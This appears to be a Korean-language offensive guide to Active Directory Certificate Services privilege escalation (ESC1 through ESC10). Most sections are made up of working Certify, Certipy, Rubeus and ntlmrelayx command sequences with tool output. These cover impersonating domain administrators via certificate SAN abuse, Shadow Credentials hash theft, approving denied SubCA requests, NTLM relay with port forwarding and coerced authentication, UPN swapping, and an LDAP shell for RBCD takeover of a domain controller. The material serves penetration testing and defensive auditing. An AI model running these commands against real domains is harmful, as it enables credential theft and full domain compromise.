AD CS Domain Escalation

Reading time: 36 minutes

이것은 게시물의 상승 기술 섹션 요약입니다:

• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
• https://github.com/ly4k/Certipy

잘못 구성된 인증서 템플릿 - ESC1

설명

잘못 구성된 인증서 템플릿 - ESC1 설명

• 엔터프라이즈 CA에 의해 낮은 권한의 사용자에게 등록 권한이 부여됩니다.
• 관리자 승인이 필요하지 않습니다.
• 권한 있는 직원의 서명이 필요하지 않습니다.
• 인증서 템플릿의 보안 설명자가 지나치게 관대하여 낮은 권한의 사용자가 등록 권한을 얻을 수 있습니다.
• 인증서 템플릿은 인증을 용이하게 하는 EKU를 정의하도록 구성됩니다:
• 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그인 (OID 1.3.6.1.4.1.311.20.2.2), 모든 용도 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
• 요청자가 인증서 서명 요청 (CSR)에 subjectAltName을 포함할 수 있는 능력이 템플릿에 의해 허용됩니다:
• Active Directory (AD)는 인증을 위해 인증서의 subjectAltName (SAN)을 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 어떤 사용자(예: 도메인 관리자)를 가장할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에서 mspki-certificate-name-flag 속성을 통해 표시됩니다. 이 속성은 비트마스크이며, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 플래그가 존재하면 요청자가 SAN을 지정할 수 있습니다.

이 기능은 때때로 HTTPS 또는 호스트 인증서의 즉석 생성 지원을 위해 제품이나 배포 서비스에 의해 활성화되거나 이해 부족으로 인해 활성화됩니다.

이 옵션으로 인증서를 생성하면 경고가 발생하는데, 이는 기존 인증서 템플릿(예: WebServer 템플릿, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT가 활성화된 경우)을 복제한 후 인증 OID를 포함하도록 수정할 때는 발생하지 않습니다.

남용

취약한 인증서 템플릿을 찾으려면 다음을 실행할 수 있습니다:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

이 취약점을 악용하여 관리자를 가장하기 위해 다음을 실행할 수 있습니다:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

그런 다음 생성된 인증서를 .pfx 형식으로 변환하고 Rubeus 또는 certipy를 사용하여 다시 인증할 수 있습니다:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows 바이너리 "Certreq.exe" 및 "Certutil.exe"는 PFX를 생성하는 데 사용할 수 있습니다: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

AD 포리스트의 구성 스키마 내에서 인증서 템플릿을 열거하는 것은, 특히 승인이나 서명이 필요하지 않고, 클라이언트 인증 또는 스마트 카드 로그온 EKU를 보유하며, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 플래그가 활성화된 템플릿에 대해 다음 LDAP 쿼리를 실행하여 수행할 수 있습니다:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

잘못 구성된 인증서 템플릿 - ESC2

설명

두 번째 남용 시나리오는 첫 번째 시나리오의 변형입니다:

1. Enterprise CA에 의해 저권한 사용자에게 등록 권한이 부여됩니다.
2. 관리자 승인 요구 사항이 비활성화됩니다.
3. 승인된 서명의 필요성이 생략됩니다.
4. 인증서 템플릿에 대한 지나치게 관대한 보안 설명자가 저권한 사용자에게 인증서 등록 권한을 부여합니다.
5. 인증서 템플릿은 Any Purpose EKU 또는 EKU가 없는 것으로 정의됩니다.

Any Purpose EKU는 공격자가 어떤 목적으로든 인증서를 얻을 수 있도록 허용하며, 여기에는 클라이언트 인증, 서버 인증, 코드 서명 등이 포함됩니다. ESC3에 사용된 동일한 기술을 사용하여 이 시나리오를 악용할 수 있습니다.

EKU가 없는 인증서는 하위 CA 인증서로 작용하며, 어떤 목적으로든 악용될 수 있으며 새로운 인증서에 서명하는 데에도 사용될 수 있습니다. 따라서 공격자는 하위 CA 인증서를 활용하여 새로운 인증서에 임의의 EKU 또는 필드를 지정할 수 있습니다.

그러나 도메인 인증을 위해 생성된 새로운 인증서는 하위 CA가 NTAuthCertificates 객체에 의해 신뢰되지 않는 경우 작동하지 않습니다. 이는 기본 설정입니다. 그럼에도 불구하고 공격자는 여전히 임의의 EKU와 임의의 인증서 값을 가진 새로운 인증서를 생성할 수 있습니다. 이러한 인증서는 잠재적으로 다양한 목적(예: 코드 서명, 서버 인증 등)으로 악용될 수 있으며, SAML, AD FS 또는 IPSec과 같은 네트워크의 다른 애플리케이션에 중대한 영향을 미칠 수 있습니다.

AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플릿을 나열하기 위해 다음 LDAP 쿼리를 실행할 수 있습니다:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

잘못 구성된 등록 에이전트 템플릿 - ESC3

설명

이 시나리오는 첫 번째와 두 번째와 비슷하지만 다른 EKU(Certificate Request Agent)를 악용하고 2개의 다른 템플릿을 사용합니다(따라서 2세트의 요구 사항이 있습니다).

Certificate Request Agent EKU(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 Enrollment Agent로 알려져 있으며, 주체가 다른 사용자를 대신하여 인증서에 등록할 수 있도록 허용합니다.

**“등록 에이전트”**는 그러한 템플릿에 등록하고 결과적으로 다른 사용자를 대신하여 CSR에 공동 서명하는 데 사용되는 인증서를 사용합니다. 그런 다음 공동 서명된 CSR을 CA에 전송하고, “대신 등록”을 허용하는 템플릿에 등록하며, CA는 “다른” 사용자에게 속하는 인증서로 응답합니다.

요구 사항 1:

• 등록 권한이 엔터프라이즈 CA에 의해 낮은 권한의 사용자에게 부여됩니다.
• 관리자 승인 요구 사항이 생략됩니다.
• 승인된 서명에 대한 요구 사항이 없습니다.
• 인증서 템플릿의 보안 설명자가 지나치게 관대하여 낮은 권한의 사용자에게 등록 권한을 부여합니다.
• 인증서 템플릿에는 Certificate Request Agent EKU가 포함되어 있어 다른 주체를 대신하여 다른 인증서 템플릿을 요청할 수 있습니다.

요구 사항 2:

• 엔터프라이즈 CA는 낮은 권한의 사용자에게 등록 권한을 부여합니다.
• 관리자 승인이 우회됩니다.
• 템플릿의 스키마 버전이 1이거나 2를 초과하며, Certificate Request Agent EKU를 필요로 하는 애플리케이션 정책 발급 요구 사항을 지정합니다.
• 인증서 템플릿에 정의된 EKU가 도메인 인증을 허용합니다.
• CA에서 등록 에이전트에 대한 제한이 적용되지 않습니다.

악용

이 시나리오를 악용하려면 Certify 또는 Certipy를 사용할 수 있습니다:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

허용된 사용자는 등록 에이전트 인증서를 획득할 수 있으며, 등록 에이전트가 등록할 수 있는 템플릿과 등록 에이전트가 대신하여 행동할 수 있는 계정은 엔터프라이즈 CA에 의해 제한될 수 있습니다. 이는 certsrc.msc 스냅인을 열고, CA를 마우스 오른쪽 버튼으로 클릭한 다음, 속성 클릭 후 “Enrollment Agents” 탭으로 이동하여 달성됩니다.

그러나 CA의 기본 설정은 “등록 에이전트를 제한하지 않음”으로 설정되어 있음을 주목해야 합니다. 관리자가 등록 에이전트에 대한 제한을 활성화하면 “등록 에이전트를 제한”으로 설정하더라도 기본 구성은 여전히 매우 관대합니다. 이는 모든 사람이 누구로든 모든 템플릿에 등록할 수 있도록 허용합니다.

취약한 인증서 템플릿 접근 제어 - ESC4

설명

인증서 템플릿에 대한 보안 설명자는 템플릿에 대해 특정 AD 주체가 보유한 권한을 정의합니다.

공격자가 템플릿을 변경하고 이전 섹션에서 설명한 악용 가능한 잘못된 구성을 설치할 수 있는 필수 권한을 보유하고 있다면, 권한 상승이 촉진될 수 있습니다.

인증서 템플릿에 적용 가능한 주목할 만한 권한은 다음과 같습니다:

• 소유자: 객체에 대한 암묵적인 제어를 부여하여 모든 속성을 수정할 수 있게 합니다.
• 전체 제어: 객체에 대한 완전한 권한을 부여하며, 모든 속성을 변경할 수 있는 능력을 포함합니다.
• 소유자 쓰기: 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있게 허용합니다.
• DACL 쓰기: 접근 제어를 조정할 수 있게 하여 공격자에게 전체 제어를 부여할 수 있습니다.
• 속성 쓰기: 모든 객체 속성을 편집할 수 있는 권한을 부여합니다.

남용

이전과 유사한 권한 상승의 예:

ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가질 때 발생합니다. 예를 들어, 이는 인증서 템플릿의 구성을 덮어써서 ESC1에 취약하도록 만들기 위해 악용될 수 있습니다.

위 경로에서 볼 수 있듯이, 오직 JOHNPC만 이러한 권한을 가지고 있지만, 우리의 사용자 JOHN은 JOHNPC에 대한 새로운 AddKeyCredentialLink 엣지를 가지고 있습니다. 이 기술이 인증서와 관련이 있기 때문에, 저는 이 공격을 구현했습니다. 이는 Shadow Credentials로 알려져 있습니다. 피해자의 NT 해시를 검색하기 위한 Certipy의 shadow auto 명령의 작은 미리 보기를 보여드립니다.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. 기본적으로, Certipy는 구성을 ESC1에 취약하도록 덮어씁니다. 또한 -save-old 매개변수를 지정하여 이전 구성을 저장할 수 있으며, 이는 공격 후 구성을 복원하는 데 유용할 것입니다.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerable PKI Object Access Control - ESC5

Explanation

상호 연결된 ACL 기반 관계의 광범위한 웹은 인증서 템플릿과 인증 기관을 넘어서는 여러 객체를 포함하며, 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 이러한 객체는 보안에 상당한 영향을 미칠 수 있으며, 다음을 포함합니다:

• CA 서버의 AD 컴퓨터 객체는 S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 손상될 수 있습니다.
• CA 서버의 RPC/DCOM 서버.
• 특정 컨테이너 경로 CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> 내의 모든 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 등록 서비스 컨테이너와 같은 컨테이너 및 객체가 포함되지만 이에 국한되지 않습니다.

저급 권한의 공격자가 이러한 중요한 구성 요소 중 하나를 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explanation

CQure Academy post에서 논의된 주제는 Microsoft에서 설명한 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그의 의미를 다룹니다. 이 구성은 인증 기관(CA)에서 활성화되면 사용자 정의 값을 주체 대체 이름에 포함할 수 있도록 허용합니다. 이는 Active Directory®에서 구성된 요청을 포함하여 모든 요청에 해당합니다. 결과적으로, 이 조항은 침입자가 도메인 인증을 위해 설정된 모든 템플릿을 통해 등록할 수 있도록 하며, 특히 표준 사용자 템플릿과 같이 비권한 사용자 등록이 가능한 템플릿에 해당합니다. 그 결과, 인증서를 확보하여 침입자가 도메인 관리자 또는 도메인 내의 다른 활성 엔티티로 인증할 수 있게 됩니다.

Note: certreq.exe에서 -attrib "SAN:" 인수를 통해 인증서 서명 요청(CSR)에 대체 이름을 추가하는 방법은 ESC1의 SAN 악용 전략과 대조를 이룹니다. 여기서의 차이는 계정 정보가 캡슐화되는 방식에 있으며, 확장 대신 인증서 속성 내에 포함됩니다.

Abuse

설정이 활성화되었는지 확인하기 위해 조직은 certutil.exe와 함께 다음 명령을 사용할 수 있습니다:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

이 작업은 본질적으로 원격 레지스트리 액세스를 사용하므로, 대안적인 접근 방식은 다음과 같을 수 있습니다:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Certify와 Certipy와 같은 도구는 이 잘못된 구성을 감지하고 이를 악용할 수 있습니다:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

이 설정을 변경하려면 도메인 관리자 권한 또는 동등한 권한이 있다고 가정할 때, 다음 명령을 모든 워크스테이션에서 실행할 수 있습니다:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

이 환경에서 이 구성을 비활성화하려면, 플래그를 다음과 같이 제거할 수 있습니다:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

취약한 Certificate Authority 접근 제어 - ESC7

공격 1

설명

인증 기관에 대한 접근 제어는 CA 작업을 관리하는 일련의 권한을 통해 유지됩니다. 이러한 권한은 certsrv.msc에 접근하여 CA를 마우스 오른쪽 버튼으로 클릭하고, 속성을 선택한 다음, 보안 탭으로 이동하여 확인할 수 있습니다. 또한, PSPKI 모듈을 사용하여 다음과 같은 명령으로 권한을 열거할 수 있습니다:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

이것은 ManageCA 및 **ManageCertificates**라는 주요 권한에 대한 통찰력을 제공하며, 각각 “CA 관리자” 및 “인증서 관리자”의 역할과 관련이 있습니다.

남용

인증 기관에서 ManageCA 권한을 가지면 주체가 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 여기에는 모든 템플릿에서 SAN 지정을 허용하기 위해 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그를 전환하는 것이 포함되며, 이는 도메인 상승의 중요한 측면입니다.

이 프로세스의 단순화는 PSPKI의 Enable-PolicyModuleFlag cmdlet을 사용하여 직접 GUI 상호작용 없이 수정할 수 있습니다.

ManageCertificates 권한을 소유하면 보류 중인 요청을 승인할 수 있어 "CA 인증서 관리자 승인" 보호 장치를 효과적으로 우회할 수 있습니다.

Certify 및 PSPKI 모듈의 조합을 사용하여 인증서를 요청, 승인 및 다운로드할 수 있습니다:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attack 2

Explanation

따라서, 여기 또 다른 공격이 제시됩니다.

Perquisites:

• Only ManageCA permission
• Manage Certificates permission (can be granted from ManageCA)
• Certificate template SubCA must be enabled (can be enabled from ManageCA)

The technique relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the SubCA - which will be denied - but then issued by the manager afterwards.

Abuse

You can grant yourself the Manage Certificates access right by adding your user as a new officer.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA 템플릿은 -enable-template 매개변수를 사용하여 CA에서 활성화할 수 있습니다. 기본적으로 SubCA 템플릿은 활성화되어 있습니다.

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

이 공격을 위한 전제 조건을 충족했다면, SubCA 템플릿을 기반으로 인증서를 요청하는 것부터 시작할 수 있습니다.

이 요청은 거부될 것입니다, 하지만 우리는 개인 키를 저장하고 요청 ID를 기록해 두겠습니다.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

우리의 **Manage CA 및 Manage Certificates**를 사용하여 ca 명령과 -issue-request <request ID> 매개변수를 사용하여 실패한 인증서 요청을 발급할 수 있습니다.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

마지막으로, req 명령과 -retrieve <request ID> 매개변수를 사용하여 발급된 인증서를 검색할 수 있습니다.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

Explanation

AD CS는 관리자가 설치할 수 있는 추가 서버 역할을 통해 제공되는 여러 HTTP 기반 등록 방법을 지원합니다. HTTP 기반 인증서 등록을 위한 이러한 인터페이스는 NTLM 릴레이 공격에 취약합니다. 공격자는 손상된 머신에서, 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 접근하여 User 또는 Machine 인증서 템플릿을 사용하여 클라이언트 인증서 요청을 할 수 있습니다.

• 웹 등록 인터페이스(http://<caserver>/certsrv/에서 사용할 수 있는 오래된 ASP 애플리케이션)는 기본적으로 HTTP만 지원하며, NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. 또한, Authorization HTTP 헤더를 통해 NTLM 인증만 명시적으로 허용하여 Kerberos와 같은 더 안전한 인증 방법을 적용할 수 없게 만듭니다.
• 인증서 등록 서비스(CES), 인증서 등록 정책(CEP) 웹 서비스 및 네트워크 장치 등록 서비스(NDES)는 기본적으로 Authorization HTTP 헤더를 통해 협상 인증을 지원합니다. 협상 인증은 Kerberos와 NTLM을 모두 지원하여 공격자가 릴레이 공격 중 NTLM 인증으로 다운그레이드할 수 있게 합니다. 이러한 웹 서비스는 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 NTLM 릴레이 공격으로부터 보호되지 않습니다. HTTPS 서비스에 대한 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때만 가능합니다. 불행히도, AD CS는 IIS에서 인증에 대한 확장 보호를 활성화하지 않으며, 이는 채널 바인딩에 필요합니다.

NTLM 릴레이 공격의 일반적인 문제는 NTLM 세션의 짧은 지속 시간과 공격자가 NTLM 서명을 요구하는 서비스와 상호작용할 수 없는 것입니다.

그럼에도 불구하고, 이 제한은 NTLM 릴레이 공격을 이용하여 사용자의 인증서를 획득함으로써 극복됩니다. 인증서의 유효 기간이 세션의 지속 시간을 결정하며, 인증서는 NTLM 서명을 요구하는 서비스와 함께 사용될 수 있습니다. 도난당한 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:

AD CS Account Persistence

NTLM 릴레이 공격의 또 다른 제한은 공격자가 제어하는 머신이 피해자 계정에 의해 인증되어야 한다는 점입니다. 공격자는 이 인증을 기다리거나 강제로 시도할 수 있습니다:

Force NTLM Privileged Authentication

Abuse

Certify’s cas enumerates enabled HTTP AD CS endpoints:

Certify.exe cas

msPKI-Enrollment-Servers 속성은 기업 인증 기관(CA)이 인증서 등록 서비스(CES) 엔드포인트를 저장하는 데 사용됩니다. 이러한 엔드포인트는 Certutil.exe 도구를 사용하여 구문 분석하고 나열할 수 있습니다:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *

Certify를 이용한 악용

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abuse with Certipy

Certipy는 기본적으로 Machine 또는 User 템플릿을 기반으로 인증서 요청을 합니다. 이는 릴레이되는 계정 이름이 $로 끝나는지에 따라 결정됩니다. 대체 템플릿의 지정은 -template 매개변수를 사용하여 달성할 수 있습니다.

그런 다음 PetitPotam과 같은 기술을 사용하여 인증을 강제할 수 있습니다. 도메인 컨트롤러를 다룰 때는 -template DomainController를 지정해야 합니다.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

Explanation

새로운 값 CT_FLAG_NO_SECURITY_EXTENSION (0x80000)는 **msPKI-Enrollment-Flag**에 대해 ESC9로 언급되며, 인증서에 새로운 szOID_NTDS_CA_SECURITY_EXT 보안 확장을 포함하는 것을 방지합니다. 이 플래그는 StrongCertificateBindingEnforcement가 1(기본 설정)으로 설정될 때 관련성이 있으며, 이는 2로 설정된 경우와 대조됩니다. ESC9가 없으면 요구 사항이 변경되지 않기 때문에 Kerberos 또는 Schannel에 대한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 그 중요성이 높아집니다(ESC10 참조).

이 플래그의 설정이 중요해지는 조건은 다음과 같습니다:

• StrongCertificateBindingEnforcement가 2로 조정되지 않거나(기본값은 1), CertificateMappingMethods에 UPN 플래그가 포함되어 있습니다.
• 인증서가 msPKI-Enrollment-Flag 설정 내에서 CT_FLAG_NO_SECURITY_EXTENSION 플래그로 표시됩니다.
• 인증서에 의해 클라이언트 인증 EKU가 지정됩니다.
• 다른 계정을 손상시키기 위해 GenericWrite 권한이 사용 가능합니다.

Abuse Scenario

John@corp.local이 Jane@corp.local에 대해 GenericWrite 권한을 보유하고 있으며, Administrator@corp.local을 손상시키려는 목표를 가지고 있다고 가정해 보겠습니다. Jane@corp.local이 등록할 수 있는 ESC9 인증서 템플릿은 msPKI-Enrollment-Flag 설정에서 CT_FLAG_NO_SECURITY_EXTENSION 플래그로 구성되어 있습니다.

처음에 Jane의 해시는 John의 GenericWrite 덕분에 Shadow Credentials를 사용하여 획득됩니다:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

그 후, Jane의 userPrincipalName이 Administrator로 수정되며, @corp.local 도메인 부분은 의도적으로 생략됩니다:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

이 수정은 Administrator@corp.local이 Administrator의 userPrincipalName으로서 구별되므로 제약을 위반하지 않습니다.

이후, 취약한 것으로 표시된 ESC9 인증서 템플릿이 Jane으로 요청됩니다:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

인증서의 userPrincipalName이 “object SID” 없이 Administrator를 반영하는 것으로 기록됩니다.

Jane의 userPrincipalName은 원래의 Jane@corp.local로 되돌려집니다:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

발급된 인증서를 사용하여 인증을 시도하면 이제 Administrator@corp.local의 NT 해시가 생성됩니다. 인증서에 도메인 지정이 없기 때문에 명령에는 -domain <domain>이 포함되어야 합니다:

certipy auth -pfx adminitrator.pfx -domain corp.local

Weak Certificate Mappings - ESC10

Explanation

도메인 컨트롤러의 두 레지스트리 키 값이 ESC10에 의해 언급됩니다:

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel 아래의 CertificateMappingMethods에 대한 기본 값은 0x18 (0x8 | 0x10)이며, 이전에는 0x1F로 설정되어 있었습니다.
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc 아래의 StrongCertificateBindingEnforcement에 대한 기본 설정은 1이며, 이전에는 0이었습니다.

Case 1

StrongCertificateBindingEnforcement가 0으로 구성된 경우.

Case 2

CertificateMappingMethods에 UPN 비트(0x4)가 포함된 경우.

Abuse Case 1

StrongCertificateBindingEnforcement가 0으로 구성된 경우, GenericWrite 권한을 가진 계정 A는 계정 B를 손상시키는 데 악용될 수 있습니다.

예를 들어, Jane@corp.local에 대한 GenericWrite 권한을 가진 공격자는 Administrator@corp.local을 손상시키려 합니다. 이 절차는 ESC9와 유사하며, 모든 인증서 템플릿을 사용할 수 있게 합니다.

처음에 Jane의 해시는 Shadow Credentials를 사용하여 GenericWrite를 악용하여 검색됩니다.

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

그 후, Jane의 userPrincipalName이 Administrator로 변경되며, 제약 조건 위반을 피하기 위해 @corp.local 부분이 의도적으로 생략됩니다.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

그에 따라 기본 User 템플릿을 사용하여 Jane으로 클라이언트 인증을 활성화하는 인증서가 요청됩니다.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane의 userPrincipalName은 원래대로 되돌려집니다, Jane@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

획득한 인증서로 인증하면 Administrator@corp.local의 NT 해시가 생성되며, 인증서에 도메인 세부 정보가 없기 때문에 명령어에 도메인을 지정해야 합니다.

certipy auth -pfx administrator.pfx -domain corp.local

Abuse Case 2

CertificateMappingMethods에 UPN 비트 플래그(0x4)가 포함되어 있는 경우, GenericWrite 권한이 있는 계정 A는 userPrincipalName 속성이 없는 모든 계정 B를 손상시킬 수 있으며, 여기에는 머신 계정과 내장 도메인 관리자 Administrator가 포함됩니다.

여기서 목표는 Jane의 해시를 Shadow Credentials를 통해 얻고 GenericWrite를 활용하여 DC$@corp.local을 손상시키는 것입니다.

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane의 userPrincipalName은 DC$@corp.local로 설정됩니다.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

클라이언트 인증을 위한 인증서가 기본 User 템플릿을 사용하여 Jane으로 요청됩니다.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane의 userPrincipalName은 이 과정 후 원래대로 되돌아갑니다.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Schannel을 통해 인증하기 위해 Certipy의 -ldap-shell 옵션이 사용되며, 인증 성공은 u:CORP\DC$로 표시됩니다.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

LDAP 셸을 통해 set_rbcd와 같은 명령은 리소스 기반 제약 위임(Resource-Based Constrained Delegation, RBCD) 공격을 가능하게 하여 도메인 컨트롤러를 위험에 빠뜨릴 수 있습니다.

